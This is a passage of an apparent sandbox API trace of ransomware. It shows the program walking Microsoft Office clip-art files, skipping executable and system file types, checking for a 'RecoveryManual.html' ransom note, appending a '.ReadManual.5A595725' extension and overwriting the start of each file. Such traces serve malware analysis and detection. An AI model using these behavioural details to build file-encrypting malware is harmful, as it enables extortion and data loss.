lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0266.991] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151041.WMF" | out: lpString1="J0151041.WMF") returned="J0151041.WMF" [0266.991] lstrcmpiW (lpString1="J0151041.WMF", lpString2="RecoveryManual.html") returned -1 [0266.991] StrStrIW (lpFirst="J0151041.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.991] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.991] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.991] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.991] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.991] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.992] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.992] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" [0266.992] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.ReadManual.5A595725" [0266.992] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.ReadManual.5A595725") returned 87 [0266.992] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38766065082) returned 1 [0266.992] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 0x20 [0266.993] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.993] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4356) returned 1 [0266.993] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1104, lpName=0x0) returned 0x184 [0266.993] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.994] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.994] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.995] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.996] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1104) returned 0x2f0000 [0266.996] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.996] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38766463340) returned 1 [0266.996] CloseHandle (hObject=0x184) returned 1 [0266.996] SetSecurityInfo () returned 0x57 [0266.996] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.996] CloseHandle (hObject=0x194) returned 1 [0266.996] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0266.996] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151045.WMF" | out: lpString1="J0151045.WMF") returned="J0151045.WMF" [0266.996] lstrcmpiW (lpString1="J0151045.WMF", lpString2="RecoveryManual.html") returned -1 [0266.996] StrStrIW (lpFirst="J0151045.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.996] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.996] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.996] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.996] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.996] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.996] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.996] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.997] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.997] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.997] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.997] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.997] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.997] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.997] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.997] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" [0266.997] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.ReadManual.5A595725" [0266.997] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.ReadManual.5A595725") returned 87 [0266.997] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38766562955) returned 1 [0266.997] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 0x20 [0266.997] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.997] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15464) returned 1 [0266.997] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c68, lpName=0x0) returned 0x184 [0266.997] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.998] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.998] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.000] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.000] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c68) returned 0x2f0000 [0267.000] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.000] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38766923342) returned 1 [0267.001] CloseHandle (hObject=0x184) returned 1 [0267.001] SetSecurityInfo () returned 0x57 [0267.001] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.001] CloseHandle (hObject=0x194) returned 1 [0267.001] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0267.001] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151047.WMF" | out: lpString1="J0151047.WMF") returned="J0151047.WMF" [0267.001] lstrcmpiW (lpString1="J0151047.WMF", lpString2="RecoveryManual.html") returned -1 [0267.001] StrStrIW (lpFirst="J0151047.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.001] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.001] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.001] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" [0267.001] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.ReadManual.5A595725" [0267.001] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.ReadManual.5A595725") returned 87 [0267.001] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38767023688) returned 1 [0267.002] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 0x20 [0267.002] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.002] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18500) returned 1 [0267.002] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4844, lpName=0x0) returned 0x184 [0267.002] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.003] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.003] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.004] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.005] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4844) returned 0x2f0000 [0267.005] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.005] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38767365571) returned 1 [0267.005] CloseHandle (hObject=0x184) returned 1 [0267.005] SetSecurityInfo () returned 0x57 [0267.005] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.005] CloseHandle (hObject=0x194) returned 1 [0267.005] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0267.006] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151055.WMF" | out: lpString1="J0151055.WMF") returned="J0151055.WMF" [0267.006] lstrcmpiW (lpString1="J0151055.WMF", lpString2="RecoveryManual.html") returned -1 [0267.006] StrStrIW (lpFirst="J0151055.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.006] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.006] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.006] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" [0267.006] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.ReadManual.5A595725" [0267.006] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.ReadManual.5A595725") returned 87 [0267.006] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38767525198) returned 1 [0267.007] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 0x20 [0267.007] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.008] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14632) returned 1 [0267.008] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3928, lpName=0x0) returned 0x184 [0267.008] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.008] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.008] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.010] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.011] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3928) returned 0x2f0000 [0267.011] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.011] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38767959590) returned 1 [0267.011] CloseHandle (hObject=0x184) returned 1 [0267.011] SetSecurityInfo () returned 0x57 [0267.011] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.011] CloseHandle (hObject=0x194) returned 1 [0267.011] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0267.011] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151061.WMF" | out: lpString1="J0151061.WMF") returned="J0151061.WMF" [0267.011] lstrcmpiW (lpString1="J0151061.WMF", lpString2="RecoveryManual.html") returned -1 [0267.011] StrStrIW (lpFirst="J0151061.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.011] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.011] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.011] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.011] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.011] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.011] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.011] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.011] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.012] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.012] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.012] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.012] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.012] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.012] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.012] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" [0267.012] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.ReadManual.5A595725" [0267.012] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.ReadManual.5A595725") returned 87 [0267.012] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38768054742) returned 1 [0267.012] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 0x20 [0267.012] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.012] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6752) returned 1 [0267.012] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a60, lpName=0x0) returned 0x184 [0267.012] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.013] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.013] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.015] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.015] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a60) returned 0x2f0000 [0267.015] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.015] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38768414803) returned 1 [0267.015] CloseHandle (hObject=0x184) returned 1 [0267.015] SetSecurityInfo () returned 0x57 [0267.016] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.016] CloseHandle (hObject=0x194) returned 1 [0267.016] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0267.016] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151063.WMF" | out: lpString1="J0151063.WMF") returned="J0151063.WMF" [0267.016] lstrcmpiW (lpString1="J0151063.WMF", lpString2="RecoveryManual.html") returned -1 [0267.016] StrStrIW (lpFirst="J0151063.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.016] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.016] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.016] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program 